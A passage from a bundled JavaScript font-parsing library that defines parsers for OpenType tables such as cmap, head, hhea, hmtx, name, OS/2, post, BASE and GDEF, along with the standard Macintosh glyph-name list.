18076 `getSupportedCharCodes not implemented for cmap subtable format 14`
18077 );
18078 return [];
18079 }
18080 reverse(glyphID) {
18081 console.warn(`reverse not implemented for cmap subtable format 14`);
18082 return {};
18083 }
18084 supportsVariation(variation) {
18085 let v2 = this.varSelector.find(
18086 (uvs) => uvs.varSelector === variation
18087 );
18088 return v2 ? v2 : false;
18089 }
18090 getSupportedVariations() {
18091 return this.varSelectors.map((v2) => v2.varSelector);
18092 }
18093 };
18094 var VariationSelector = class {
18095 constructor(p22) {
18096 this.varSelector = p22.uint24;
18097 this.defaultUVSOffset = p22.Offset32;
18098 this.nonDefaultUVSOffset = p22.Offset32;
18099 }
18100 };
18101 function createSubTable(parser, platformID, encodingID) {
18102 const format6 = parser.uint16;
18103 if (format6 === 0) return new Format0(parser, platformID, encodingID);
18104 if (format6 === 2) return new Format2(parser, platformID, encodingID);
18105 if (format6 === 4) return new Format4(parser, platformID, encodingID);
18106 if (format6 === 6) return new Format6(parser, platformID, encodingID);
18107 if (format6 === 8) return new Format8(parser, platformID, encodingID);
18108 if (format6 === 10) return new Format10(parser, platformID, encodingID);
18109 if (format6 === 12) return new Format12(parser, platformID, encodingID);
18110 if (format6 === 13) return new Format13(parser, platformID, encodingID);
18111 if (format6 === 14) return new Format14(parser, platformID, encodingID);
18112 return {};
18113 }
18114 var cmap = class extends SimpleTable {
18115 constructor(dict, dataview) {
18116 const { p: p22 } = super(dict, dataview);
18117 this.version = p22.uint16;
18118 this.numTables = p22.uint16;
18119 this.encodingRecords = [...new Array(this.numTables)].map(
18120 (_) => new EncodingRecord(p22, this.tableStart)
18121 );
18122 }
18123 getSubTable(tableID) {
18124 return this.encodingRecords[tableID].table;
18125 }
18126 getSupportedEncodings() {
18127 return this.encodingRecords.map((r3) => ({
18128 platformID: r3.platformID,
18129 encodingId: r3.encodingID
18130 }));
18131 }
18132 getSupportedCharCodes(platformID, encodingID) {
18133 const recordID = this.encodingRecords.findIndex(
18134 (r3) => r3.platformID === platformID && r3.encodingID === encodingID
18135 );
18136 if (recordID === -1) return false;
18137 const subtable = this.getSubTable(recordID);
18138 return subtable.getSupportedCharCodes();
18139 }
18140 reverse(glyphid) {
18141 for (let i2 = 0; i2 < this.numTables; i2++) {
18142 let code = this.getSubTable(i2).reverse(glyphid);
18143 if (code) return code;
18144 }
18145 }
18146 getGlyphId(char) {
18147 let last = 0;
18148 this.encodingRecords.some((_, tableID) => {
18149 let t3 = this.getSubTable(tableID);
18150 if (!t3.getGlyphId) return false;
18151 last = t3.getGlyphId(char);
18152 return last !== 0;
18153 });
18154 return last;
18155 }
18156 supports(char) {
18157 return this.encodingRecords.some((_, tableID) => {
18158 const t3 = this.getSubTable(tableID);
18159 return t3.supports && t3.supports(char) !== false;
18160 });
18161 }
18162 supportsVariation(variation) {
18163 return this.encodingRecords.some((_, tableID) => {
18164 const t3 = this.getSubTable(tableID);
18165 return t3.supportsVariation && t3.supportsVariation(variation) !== false;
18166 });
18167 }
18168 };
18169 var EncodingRecord = class {
18170 constructor(p22, tableStart) {
18171 const platformID = this.platformID = p22.uint16;
18172 const encodingID = this.encodingID = p22.uint16;
18173 const offset = this.offset = p22.Offset32;
18174 lazy$1(this, `table`, () => {
18175 p22.currentPosition = tableStart + offset;
18176 return createSubTable(p22, platformID, encodingID);
18177 });
18178 }
18179 };
18180 var cmap$1 = Object.freeze({ __proto__: null, cmap });
18181 var head = class extends SimpleTable {
18182 constructor(dict, dataview) {
18183 const { p: p22 } = super(dict, dataview);
18184 this.load({
18185 majorVersion: p22.uint16,
18186 minorVersion: p22.uint16,
18187 fontRevision: p22.fixed,
18188 checkSumAdjustment: p22.uint32,
18189 magicNumber: p22.uint32,
18190 flags: p22.flags(16),
18191 unitsPerEm: p22.uint16,
18192 created: p22.longdatetime,
18193 modified: p22.longdatetime,
18194 xMin: p22.int16,
18195 yMin: p22.int16,
18196 xMax: p22.int16,
18197 yMax: p22.int16,
18198 macStyle: p22.flags(16),
18199 lowestRecPPEM: p22.uint16,
18200 fontDirectionHint: p22.uint16,
18201 indexToLocFormat: p22.uint16,
18202 glyphDataFormat: p22.uint16
18203 });
18204 }
18205 };
18206 var head$1 = Object.freeze({ __proto__: null, head });
18207 var hhea = class extends SimpleTable {
18208 constructor(dict, dataview) {
18209 const { p: p22 } = super(dict, dataview);
18210 this.majorVersion = p22.uint16;
18211 this.minorVersion = p22.uint16;
18212 this.ascender = p22.fword;
18213 this.descender = p22.fword;
18214 this.lineGap = p22.fword;
18215 this.advanceWidthMax = p22.ufword;
18216 this.minLeftSideBearing = p22.fword;
18217 this.minRightSideBearing = p22.fword;
18218 this.xMaxExtent = p22.fword;
18219 this.caretSlopeRise = p22.int16;
18220 this.caretSlopeRun = p22.int16;
18221 this.caretOffset = p22.int16;
18222 p22.int16;
18223 p22.int16;
18224 p22.int16;
18225 p22.int16;
18226 this.metricDataFormat = p22.int16;
18227 this.numberOfHMetrics = p22.uint16;
18228 p22.verifyLength();
18229 }
18230 };
18231 var hhea$1 = Object.freeze({ __proto__: null, hhea });
18232 var hmtx = class extends SimpleTable {
18233 constructor(dict, dataview, tables) {
18234 const { p: p22 } = super(dict, dataview);
18235 const numberOfHMetrics = tables.hhea.numberOfHMetrics;
18236 const numGlyphs = tables.maxp.numGlyphs;
18237 const metricsStart = p22.currentPosition;
18238 lazy$1(this, `hMetrics`, () => {
18239 p22.currentPosition = metricsStart;
18240 return [...new Array(numberOfHMetrics)].map(
18241 (_) => new LongHorMetric(p22.uint16, p22.int16)
18242 );
18243 });
18244 if (numberOfHMetrics < numGlyphs) {
18245 const lsbStart = metricsStart + numberOfHMetrics * 4;
18246 lazy$1(this, `leftSideBearings`, () => {
18247 p22.currentPosition = lsbStart;
18248 return [...new Array(numGlyphs - numberOfHMetrics)].map(
18249 (_) => p22.int16
18250 );
18251 });
18252 }
18253 }
18254 };
18255 var LongHorMetric = class {
18256 constructor(w2, b2) {
18257 this.advanceWidth = w2;
18258 this.lsb = b2;
18259 }
18260 };
18261 var hmtx$1 = Object.freeze({ __proto__: null, hmtx });
18262 var maxp = class extends SimpleTable {
18263 constructor(dict, dataview) {
18264 const { p: p22 } = super(dict, dataview);
18265 this.version = p22.legacyFixed;
18266 this.numGlyphs = p22.uint16;
18267 if (this.version === 1) {
18268 this.maxPoints = p22.uint16;
18269 this.maxContours = p22.uint16;
18270 this.maxCompositePoints = p22.uint16;
18271 this.maxCompositeContours = p22.uint16;
18272 this.maxZones = p22.uint16;
18273 this.maxTwilightPoints = p22.uint16;
18274 this.maxStorage = p22.uint16;
18275 this.maxFunctionDefs = p22.uint16;
18276 this.maxInstructionDefs = p22.uint16;
18277 this.maxStackElements = p22.uint16;
18278 this.maxSizeOfInstructions = p22.uint16;
18279 this.maxComponentElements = p22.uint16;
18280 this.maxComponentDepth = p22.uint16;
18281 }
18282 p22.verifyLength();
18283 }
18284 };
18285 var maxp$1 = Object.freeze({ __proto__: null, maxp });
18286 var name = class extends SimpleTable {
18287 constructor(dict, dataview) {
18288 const { p: p22 } = super(dict, dataview);
18289 this.format = p22.uint16;
18290 this.count = p22.uint16;
18291 this.stringOffset = p22.Offset16;
18292 this.nameRecords = [...new Array(this.count)].map(
18293 (_) => new NameRecord(p22, this)
18294 );
18295 if (this.format === 1) {
18296 this.langTagCount = p22.uint16;
18297 this.langTagRecords = [...new Array(this.langTagCount)].map(
18298 (_) => new LangTagRecord(p22.uint16, p22.Offset16)
18299 );
18300 }
18301 this.stringStart = this.tableStart + this.stringOffset;
18302 }
18303 get(nameID) {
18304 let record = this.nameRecords.find(
18305 (record2) => record2.nameID === nameID
18306 );
18307 if (record) return record.string;
18308 }
18309 };
18310 var LangTagRecord = class {
18311 constructor(length, offset) {
18312 this.length = length;
18313 this.offset = offset;
18314 }
18315 };
18316 var NameRecord = class {
18317 constructor(p22, nameTable) {
18318 this.platformID = p22.uint16;
18319 this.encodingID = p22.uint16;
18320 this.languageID = p22.uint16;
18321 this.nameID = p22.uint16;
18322 this.length = p22.uint16;
18323 this.offset = p22.Offset16;
18324 lazy$1(this, `string`, () => {
18325 p22.currentPosition = nameTable.stringStart + this.offset;
18326 return decodeString(p22, this);
18327 });
18328 }
18329 };
18330 function decodeString(p22, record) {
18331 const { platformID, length } = record;
18332 if (length === 0) return ``;
18333 if (platformID === 0 || platformID === 3) {
18334 const str2 = [];
18335 for (let i2 = 0, e2 = length / 2; i2 < e2; i2++)
18336 str2[i2] = String.fromCharCode(p22.uint16);
18337 return str2.join(``);
18338 }
18339 const bytes = p22.readBytes(length);
18340 const str = [];
18341 bytes.forEach(function(b2, i2) {
18342 str[i2] = String.fromCharCode(b2);
18343 });
18344 return str.join(``);
18345 }
18346 var name$1 = Object.freeze({ __proto__: null, name });
18347 var OS2 = class extends SimpleTable {
18348 constructor(dict, dataview) {
18349 const { p: p22 } = super(dict, dataview);
18350 this.version = p22.uint16;
18351 this.xAvgCharWidth = p22.int16;
18352 this.usWeightClass = p22.uint16;
18353 this.usWidthClass = p22.uint16;
18354 this.fsType = p22.uint16;
18355 this.ySubscriptXSize = p22.int16;
18356 this.ySubscriptYSize = p22.int16;
18357 this.ySubscriptXOffset = p22.int16;
18358 this.ySubscriptYOffset = p22.int16;
18359 this.ySuperscriptXSize = p22.int16;
18360 this.ySuperscriptYSize = p22.int16;
18361 this.ySuperscriptXOffset = p22.int16;
18362 this.ySuperscriptYOffset = p22.int16;
18363 this.yStrikeoutSize = p22.int16;
18364 this.yStrikeoutPosition = p22.int16;
18365 this.sFamilyClass = p22.int16;
18366 this.panose = [...new Array(10)].map((_) => p22.uint8);
18367 this.ulUnicodeRange1 = p22.flags(32);
18368 this.ulUnicodeRange2 = p22.flags(32);
18369 this.ulUnicodeRange3 = p22.flags(32);
18370 this.ulUnicodeRange4 = p22.flags(32);
18371 this.achVendID = p22.tag;
18372 this.fsSelection = p22.uint16;
18373 this.usFirstCharIndex = p22.uint16;
18374 this.usLastCharIndex = p22.uint16;
18375 this.sTypoAscender = p22.int16;
18376 this.sTypoDescender = p22.int16;
18377 this.sTypoLineGap = p22.int16;
18378 this.usWinAscent = p22.uint16;
18379 this.usWinDescent = p22.uint16;
18380 if (this.version === 0) return p22.verifyLength();
18381 this.ulCodePageRange1 = p22.flags(32);
18382 this.ulCodePageRange2 = p22.flags(32);
18383 if (this.version === 1) return p22.verifyLength();
18384 this.sxHeight = p22.int16;
18385 this.sCapHeight = p22.int16;
18386 this.usDefaultChar = p22.uint16;
18387 this.usBreakChar = p22.uint16;
18388 this.usMaxContext = p22.uint16;
18389 if (this.version <= 4) return p22.verifyLength();
18390 this.usLowerOpticalPointSize = p22.uint16;
18391 this.usUpperOpticalPointSize = p22.uint16;
18392 if (this.version === 5) return p22.verifyLength();
18393 }
18394 };
18395 var OS2$1 = Object.freeze({ __proto__: null, OS2 });
18396 var post = class extends SimpleTable {
18397 constructor(dict, dataview) {
18398 const { p: p22 } = super(dict, dataview);
18399 this.version = p22.legacyFixed;
18400 this.italicAngle = p22.fixed;
18401 this.underlinePosition = p22.fword;
18402 this.underlineThickness = p22.fword;
18403 this.isFixedPitch = p22.uint32;
18404 this.minMemType42 = p22.uint32;
18405 this.maxMemType42 = p22.uint32;
18406 this.minMemType1 = p22.uint32;
18407 this.maxMemType1 = p22.uint32;
18408 if (this.version === 1 || this.version === 3) return p22.verifyLength();
18409 this.numGlyphs = p22.uint16;
18410 if (this.version === 2) {
18411 this.glyphNameIndex = [...new Array(this.numGlyphs)].map(
18412 (_) => p22.uint16
18413 );
18414 this.namesOffset = p22.currentPosition;
18415 this.glyphNameOffsets = [1];
18416 for (let i2 = 0; i2 < this.numGlyphs; i2++) {
18417 let index = this.glyphNameIndex[i2];
18418 if (index < macStrings.length) {
18419 this.glyphNameOffsets.push(this.glyphNameOffsets[i2]);
18420 continue;
18421 }
18422 let bytelength = p22.int8;
18423 p22.skip(bytelength);
18424 this.glyphNameOffsets.push(
18425 this.glyphNameOffsets[i2] + bytelength + 1
18426 );
18427 }
18428 }
18429 if (this.version === 2.5) {
18430 this.offset = [...new Array(this.numGlyphs)].map(
18431 (_) => p22.int8
18432 );
18433 }
18434 }
18435 getGlyphName(glyphid) {
18436 if (this.version !== 2) {
18437 console.warn(
18438 `post table version ${this.version} does not support glyph name lookups`
18439 );
18440 return ``;
18441 }
18442 let index = this.glyphNameIndex[glyphid];
18443 if (index < 258) return macStrings[index];
18444 let offset = this.glyphNameOffsets[glyphid];
18445 let next = this.glyphNameOffsets[glyphid + 1];
18446 let len = next - offset - 1;
18447 if (len === 0) return `.notdef.`;
18448 this.parser.currentPosition = this.namesOffset + offset;
18449 const data = this.parser.readBytes(
18450 len,
18451 this.namesOffset + offset,
18452 8,
18453 true
18454 );
18455 return data.map((b2) => String.fromCharCode(b2)).join(``);
18456 }
18457 };
18458 var macStrings = [
18459 `.notdef`,
18460 `.null`,
18461 `nonmarkingreturn`,
18462 `space`,
18463 `exclam`,
18464 `quotedbl`,
18465 `numbersign`,
18466 `dollar`,
18467 `percent`,
18468 `ampersand`,
18469 `quotesingle`,
18470 `parenleft`,
18471 `parenright`,
18472 `asterisk`,
18473 `plus`,
18474 `comma`,
18475 `hyphen`,
18476 `period`,
18477 `slash`,
18478 `zero`,
18479 `one`,
18480 `two`,
18481 `three`,
18482 `four`,
18483 `five`,
18484 `six`,
18485 `seven`,
18486 `eight`,
18487 `nine`,
18488 `colon`,
18489 `semicolon`,
18490 `less`,
18491 `equal`,
18492 `greater`,
18493 `question`,
18494 `at`,
18495 `A`,
18496 `B`,
18497 `C`,
18498 `D`,
18499 `E`,
18500 `F`,
18501 `G`,
18502 `H`,
18503 `I`,
18504 `J`,
18505 `K`,
18506 `L`,
18507 `M`,
18508 `N`,
18509 `O`,
18510 `P`,
18511 `Q`,
18512 `R`,
18513 `S`,
18514 `T`,
18515 `U`,
18516 `V`,
18517 `W`,
18518 `X`,
18519 `Y`,
18520 `Z`,
18521 `bracketleft`,
18522 `backslash`,
18523 `bracketright`,
18524 `asciicircum`,
18525 `underscore`,
18526 `grave`,
18527 `a`,
18528 `b`,
18529 `c`,
18530 `d`,
18531 `e`,
18532 `f`,
18533 `g`,
18534 `h`,
18535 `i`,
18536 `j`,
18537 `k`,
18538 `l`,
18539 `m`,
18540 `n`,
18541 `o`,
18542 `p`,
18543 `q`,
18544 `r`,
18545 `s`,
18546 `t`,
18547 `u`,
18548 `v`,
18549 `w`,
18550 `x`,
18551 `y`,
18552 `z`,
18553 `braceleft`,
18554 `bar`,
18555 `braceright`,
18556 `asciitilde`,
18557 `Adieresis`,
18558 `Aring`,
18559 `Ccedilla`,
18560 `Eacute`,
18561 `Ntilde`,
18562 `Odieresis`,
18563 `Udieresis`,
18564 `aacute`,
18565 `agrave`,
18566 `acircumflex`,
18567 `adieresis`,
18568 `atilde`,
18569 `aring`,
18570 `ccedilla`,
18571 `eacute`,
18572 `egrave`,
18573 `ecircumflex`,
18574 `edieresis`,
18575 `iacute`,
18576 `igrave`,
18577 `icircumflex`,
18578 `idieresis`,
18579 `ntilde`,
18580 `oacute`,
18581 `ograve`,
18582 `ocircumflex`,
18583 `odieresis`,
18584 `otilde`,
18585 `uacute`,
18586 `ugrave`,
18587 `ucircumflex`,
18588 `udieresis`,
18589 `dagger`,
18590 `degree`,
18591 `cent`,
18592 `sterling`,
18593 `section`,
18594 `bullet`,
18595 `paragraph`,
18596 `germandbls`,
18597 `registered`,
18598 `copyright`,
18599 `trademark`,
18600 `acute`,
18601 `dieresis`,
18602 `notequal`,
18603 `AE`,
18604 `Oslash`,
18605 `infinity`,
18606 `plusminus`,
18607 `lessequal`,
18608 `greaterequal`,
18609 `yen`,
18610 `mu`,
18611 `partialdiff`,
18612 `summation`,
18613 `product`,
18614 `pi`,
18615 `integral`,
18616 `ordfeminine`,
18617 `ordmasculine`,
18618 `Omega`,
18619 `ae`,
18620 `oslash`,
18621 `questiondown`,
18622 `exclamdown`,
18623 `logicalnot`,
18624 `radical`,
18625 `florin`,
18626 `approxequal`,
18627 `Delta`,
18628 `guillemotleft`,
18629 `guillemotright`,
18630 `ellipsis`,
18631 `nonbreakingspace`,
18632 `Agrave`,
18633 `Atilde`,
18634 `Otilde`,
18635 `OE`,
18636 `oe`,
18637 `endash`,
18638 `emdash`,
18639 `quotedblleft`,
18640 `quotedblright`,
18641 `quoteleft`,
18642 `quoteright`,
18643 `divide`,
18644 `lozenge`,
18645 `ydieresis`,
18646 `Ydieresis`,
18647 `fraction`,
18648 `currency`,
18649 `guilsinglleft`,
18650 `guilsinglright`,
18651 `fi`,
18652 `fl`,
18653 `daggerdbl`,
18654 `periodcentered`,
18655 `quotesinglbase`,
18656 `quotedblbase`,
18657 `perthousand`,
18658 `Acircumflex`,
18659 `Ecircumflex`,
18660 `Aacute`,
18661 `Edieresis`,
18662 `Egrave`,
18663 `Iacute`,
18664 `Icircumflex`,
18665 `Idieresis`,
18666 `Igrave`,
18667 `Oacute`,
18668 `Ocircumflex`,
18669 `apple`,
18670 `Ograve`,
18671 `Uacute`,
18672 `Ucircumflex`,
18673 `Ugrave`,
18674 `dotlessi`,
18675 `circumflex`,
18676 `tilde`,
18677 `macron`,
18678 `breve`,
18679 `dotaccent`,
18680 `ring`,
18681 `cedilla`,
18682 `hungarumlaut`,
18683 `ogonek`,
18684 `caron`,
18685 `Lslash`,
18686 `lslash`,
18687 `Scaron`,
18688 `scaron`,
18689 `Zcaron`,
18690 `zcaron`,
18691 `brokenbar`,
18692 `Eth`,
18693 `eth`,
18694 `Yacute`,
18695 `yacute`,
18696 `Thorn`,
18697 `thorn`,
18698 `minus`,
18699 `multiply`,
18700 `onesuperior`,
18701 `twosuperior`,
18702 `threesuperior`,
18703 `onehalf`,
18704 `onequarter`,
18705 `threequarters`,
18706 `franc`,
18707 `Gbreve`,
18708 `gbreve`,
18709 `Idotaccent`,
18710 `Scedilla`,
18711 `scedilla`,
18712 `Cacute`,
18713 `cacute`,
18714 `Ccaron`,
18715 `ccaron`,
18716 `dcroat`
18717 ];
18718 var post$1 = Object.freeze({ __proto__: null, post });
18719 var BASE = class extends SimpleTable {
18720 constructor(dict, dataview) {
18721 const { p: p22 } = super(dict, dataview);
18722 this.majorVersion = p22.uint16;
18723 this.minorVersion = p22.uint16;
18724 this.horizAxisOffset = p22.Offset16;
18725 this.vertAxisOffset = p22.Offset16;
18726 lazy$1(
18727 this,
18728 `horizAxis`,
18729 () => new AxisTable(
18730 { offset: dict.offset + this.horizAxisOffset },
18731 dataview
18732 )
18733 );
18734 lazy$1(
18735 this,
18736 `vertAxis`,
18737 () => new AxisTable(
18738 { offset: dict.offset + this.vertAxisOffset },
18739 dataview
18740 )
18741 );
18742 if (this.majorVersion === 1 && this.minorVersion === 1) {
18743 this.itemVarStoreOffset = p22.Offset32;
18744 lazy$1(
18745 this,
18746 `itemVarStore`,
18747 () => new AxisTable(
18748 { offset: dict.offset + this.itemVarStoreOffset },
18749 dataview
18750 )
18751 );
18752 }
18753 }
18754 };
18755 var AxisTable = class extends SimpleTable {
18756 constructor(dict, dataview) {
18757 const { p: p22 } = super(dict, dataview, `AxisTable`);
18758 this.baseTagListOffset = p22.Offset16;
18759 this.baseScriptListOffset = p22.Offset16;
18760 lazy$1(
18761 this,
18762 `baseTagList`,
18763 () => new BaseTagListTable(
18764 { offset: dict.offset + this.baseTagListOffset },
18765 dataview
18766 )
18767 );
18768 lazy$1(
18769 this,
18770 `baseScriptList`,
18771 () => new BaseScriptListTable(
18772 { offset: dict.offset + this.baseScriptListOffset },
18773 dataview
18774 )
18775 );
18776 }
18777 };
18778 var BaseTagListTable = class extends SimpleTable {
18779 constructor(dict, dataview) {
18780 const { p: p22 } = super(dict, dataview, `BaseTagListTable`);
18781 this.baseTagCount = p22.uint16;
18782 this.baselineTags = [...new Array(this.baseTagCount)].map(
18783 (_) => p22.tag
18784 );
18785 }
18786 };
18787 var BaseScriptListTable = class extends SimpleTable {
18788 constructor(dict, dataview) {
18789 const { p: p22 } = super(dict, dataview, `BaseScriptListTable`);
18790 this.baseScriptCount = p22.uint16;
18791 const recordStart = p22.currentPosition;
18792 lazy$1(this, `baseScriptRecords`, () => {
18793 p22.currentPosition = recordStart;
18794 return [...new Array(this.baseScriptCount)].map(
18795 (_) => new BaseScriptRecord(this.start, p22)
18796 );
18797 });
18798 }
18799 };
18800 var BaseScriptRecord = class {
18801 constructor(baseScriptListTableStart, p22) {
18802 this.baseScriptTag = p22.tag;
18803 this.baseScriptOffset = p22.Offset16;
18804 lazy$1(this, `baseScriptTable`, () => {
18805 p22.currentPosition = baseScriptListTableStart + this.baseScriptOffset;
18806 return new BaseScriptTable(p22);
18807 });
18808 }
18809 };
18810 var BaseScriptTable = class {
18811 constructor(p22) {
18812 this.start = p22.currentPosition;
18813 this.baseValuesOffset = p22.Offset16;
18814 this.defaultMinMaxOffset = p22.Offset16;
18815 this.baseLangSysCount = p22.uint16;
18816 this.baseLangSysRecords = [...new Array(this.baseLangSysCount)].map(
18817 (_) => new BaseLangSysRecord(this.start, p22)
18818 );
18819 lazy$1(this, `baseValues`, () => {
18820 p22.currentPosition = this.start + this.baseValuesOffset;
18821 return new BaseValuesTable(p22);
18822 });
18823 lazy$1(this, `defaultMinMax`, () => {
18824 p22.currentPosition = this.start + this.defaultMinMaxOffset;
18825 return new MinMaxTable(p22);
18826 });
18827 }
18828 };
18829 var BaseLangSysRecord = class {
18830 constructor(baseScriptTableStart, p22) {
18831 this.baseLangSysTag = p22.tag;
18832 this.minMaxOffset = p22.Offset16;
18833 lazy$1(this, `minMax`, () => {
18834 p22.currentPosition = baseScriptTableStart + this.minMaxOffset;
18835 return new MinMaxTable(p22);
18836 });
18837 }
18838 };
18839 var BaseValuesTable = class {
18840 constructor(p22) {
18841 this.parser = p22;
18842 this.start = p22.currentPosition;
18843 this.defaultBaselineIndex = p22.uint16;
18844 this.baseCoordCount = p22.uint16;
18845 this.baseCoords = [...new Array(this.baseCoordCount)].map(
18846 (_) => p22.Offset16
18847 );
18848 }
18849 getTable(id) {
18850 this.parser.currentPosition = this.start + this.baseCoords[id];
18851 return new BaseCoordTable(this.parser);
18852 }
18853 };
18854 var MinMaxTable = class {
18855 constructor(p22) {
18856 this.minCoord = p22.Offset16;
18857 this.maxCoord = p22.Offset16;
18858 this.featMinMaxCount = p22.uint16;
18859 const recordStart = p22.currentPosition;
18860 lazy$1(this, `featMinMaxRecords`, () => {
18861 p22.currentPosition = recordStart;
18862 return [...new Array(this.featMinMaxCount)].map(
18863 (_) => new FeatMinMaxRecord(p22)
18864 );
18865 });
18866 }
18867 };
18868 var FeatMinMaxRecord = class {
18869 constructor(p22) {
18870 this.featureTableTag = p22.tag;
18871 this.minCoord = p22.Offset16;
18872 this.maxCoord = p22.Offset16;
18873 }
18874 };
18875 var BaseCoordTable = class {
18876 constructor(p22) {
18877 this.baseCoordFormat = p22.uint16;
18878 this.coordinate = p22.int16;
18879 if (this.baseCoordFormat === 2) {
18880 this.referenceGlyph = p22.uint16;
18881 this.baseCoordPoint = p22.uint16;
18882 }
18883 if (this.baseCoordFormat === 3) {
18884 this.deviceTable = p22.Offset16;
18885 }
18886 }
18887 };
18888 var BASE$1 = Object.freeze({ __proto__: null, BASE });
18889 var ClassDefinition = class {
18890 constructor(p22) {
18891 this.classFormat = p22.uint16;
18892 if (this.classFormat === 1) {
18893 this.startGlyphID = p22.uint16;
18894 this.glyphCount = p22.uint16;
18895 this.classValueArray = [...new Array(this.glyphCount)].map(
18896 (_) => p22.uint16
18897 );
18898 }
18899 if (this.classFormat === 2) {
18900 this.classRangeCount = p22.uint16;
18901 this.classRangeRecords = [
18902 ...new Array(this.classRangeCount)
18903 ].map((_) => new ClassRangeRecord(p22));
18904 }
18905 }
18906 };
18907 var ClassRangeRecord = class {
18908 constructor(p22) {
18909 this.startGlyphID = p22.uint16;
18910 this.endGlyphID = p22.uint16;
18911 this.class = p22.uint16;
18912 }
18913 };
18914 var CoverageTable = class extends ParsedData {
18915 constructor(p22) {
18916 super(p22);
18917 this.coverageFormat = p22.uint16;
18918 if (this.coverageFormat === 1) {
18919 this.glyphCount = p22.uint16;
18920 this.glyphArray = [...new Array(this.glyphCount)].map(
18921 (_) => p22.uint16
18922 );
18923 }
18924 if (this.coverageFormat === 2) {
18925 this.rangeCount = p22.uint16;
18926 this.rangeRecords = [...new Array(this.rangeCount)].map(
18927 (_) => new CoverageRangeRecord(p22)
18928 );
18929 }
18930 }
18931 };
18932 var CoverageRangeRecord = class {
18933 constructor(p22) {
18934 this.startGlyphID = p22.uint16;
18935 this.endGlyphID = p22.uint16;
18936 this.startCoverageIndex = p22.uint16;
18937 }
18938 };
18939 var ItemVariationStoreTable = class {
18940 constructor(table, p22) {
18941 this.table = table;
18942 this.parser = p22;
18943 this.start = p22.currentPosition;
18944 this.format = p22.uint16;
18945 this.variationRegionListOffset = p22.Offset32;
18946 this.itemVariationDataCount = p22.uint16;
18947 this.itemVariationDataOffsets = [
18948 ...new Array(this.itemVariationDataCount)
18949 ].map((_) => p22.Offset32);
18950 }
18951 };
18952 var GDEF = class extends SimpleTable {
18953 constructor(dict, dataview) {
18954 const { p: p22 } = super(dict, dataview);
18955 this.majorVersion = p22.uint16;
18956 this.minorVersion = p22.uint16;
18957 this.glyphClassDefOffset = p22.Offset16;
18958 lazy$1(this, `glyphClassDefs`, () => {
18959 if (this.glyphClassDefOffset === 0) return void 0;
18960 p22.currentPosition = this.tableStart + this.glyphClassDefOffset;
18961 return new ClassDefinition(p22);
18962 });
18963 this.attachListOffset = p22.Offset16;
18964 lazy$1(this, `attachList`, () => {
18965 if (this.attachListOffset === 0) return void 0;
18966 p22.currentPosition = this.tableStart + this.attachListOffset;
18967 return new AttachList(p22);
18968 });
18969 this.ligCaretListOffset = p22.Offset16;
18970 lazy$1(this, `ligCaretList`, () => {
18971 if (this.ligCaretListOffset === 0) return void 0;
18972 p22.currentPosition = this.tableStart + this.ligCaretListOffset;
18973 return new LigCaretList(p22);
18974 });
18975 this.markAttachClassDefOffset = p22.Offset16;
18976 lazy$1(this, `markAttachClassDef`, () => {
18977 if (this.markAttachClassDefOffset === 0) return void 0;
18978 p22.currentPosition = this.tableStart + this.markAttachClassDefOffset;
18979 return new ClassDefinition(p22);
18980 });
18981 if (this.minorVersion >= 2) {
18982 this.markGlyphSetsDefOffset = p22.Offset16;
18983 lazy$1(this, `markGlyphSetsDef`, () => {
18984 if (this.markGlyphSetsDefOffset === 0) return void 0;
18985 p22.currentPosition = this.tableStart + this.markGlyphSetsDefOffset;
18986 return new MarkGlyphSetsTable(p22);
18987 });
18988 }
18989 if (this.minorVersion === 3) {
18990 this.itemVarStoreOffset = p22.Offset32;
18991 lazy$1(this, `itemVarStore`, () => {
18992 if (this.itemVarStoreOffset === 0) return void 0;
18993 p22.currentPosition = this.tableStart + this.itemVarStoreOffset;
18994 return new ItemVariationStoreTable(p22);
18995 });
18996 }
18997 }
18998 };
18999 var AttachList = class extends ParsedData {
19000 constructor(p22) {
19001 super(p22);
19002 this.coverageOffset = p22.Offset16;
19003 this.glyphCount = p22.uint16;
19004 this.attachPointOffsets = [...new Array(this.glyphCount)].map(
19005 (_) => p22.Offset16
19006 );
19007 }
19008 getPoint(pointID) {
19009 this.parser.currentPosition = this.start + this.attachPointOffsets[pointID];
19010 return new AttachPoint(this.parser);
19011 }
19012 };
19013 var AttachPoint = class {
19014 constructor(p22) {
19015 this.pointCount = p22.uint16;
19016 this.pointIndices = [...new Array(this.pointCount)].map(
19017 (_) => p22.uint16
19018 );
19019 }
19020 };
19021 var LigCaretList = class extends ParsedData {
19022 constructor(p22) {
19023 super(p22);
19024 this.coverageOffset = p22.Offset16;
19025 lazy$1(this, `coverage`, () => {
19026 p22.currentPosition = this.start + this.coverageOffset;
19027 return new CoverageTable(p22);
19028 });
19029 this.ligGlyphCount = p22.uint16;
19030 this.ligGlyphOffsets = [...new Array(this.ligGlyphCount)].map(
19031 (_) => p22.Offset16
19032 );
19033 }
19034 getLigGlyph(ligGlyphID) {
19035 this.parser.currentPosition = this.start + this.ligGlyphOffsets[ligGlyphID];
19036 return new LigGlyph(this.parser);
19037 }
19038 };
19039 var LigGlyph = class extends ParsedData {
19040 constructor(p22) {
19041 super(p22);
19042 this.caretCount = p22.uint16;
19043 this.caretValueOffsets = [...new Array(this.caretCount)].map(
19044 (_) => p22.Offset16
19045 );
19046 }
19047 getCaretValue(caretID) {
19048 this.parser.currentPosition = this.start + this.caretValueOffsets[caretID];
19049 return new CaretValue(this.parser);
19050 }
19051 };
19052 var CaretValue = class {
19053 constructor(p22) {
19054 this.caretValueFormat = p22.uint16;
19055 if (this.caretValueFormat === 1) {
19056 this.coordinate = p22.int16;
19057 }
19058 if (this.caretValueFormat === 2) {
19059 this.caretValuePointIndex = p22.uint16;
19060 }
19061 if (this.caretValueFormat === 3) {
19062 this.coordinate = p22.int16;
19063 this.deviceOffset = p22.Offset16;
19064 }
19065 }
19066 };
19067 var MarkGlyphSetsTable = class extends ParsedData {
19068 constructor(p22) {
19069 super(p22);
19070 this.markGlyphSetTableFormat = p22.uint16;
19071 this.markGlyphSetCount = p22.uint16;
19072 this.coverageOffsets = [...new Array(this.markGlyphSetCount)].map(
19073 (_) => p22.Offset32
19074 );
19075 }
19076 getMarkGlyphSet(markGlyphSetID) {
19077 this.parser.currentPosition = this.start + this.coverageOffsets[markGlyphSetID];
19078 return new CoverageTable(this.parser);
19079 }
19080 };
19081 var GDEF$1 = Object.freeze({ __proto__: null, GDEF });
19082 var ScriptList = class extends ParsedData {
19083 static EMPTY = { scriptCount: 0, scriptRecords: [] };
19084 constructor(p22) {
19085 super(p22);
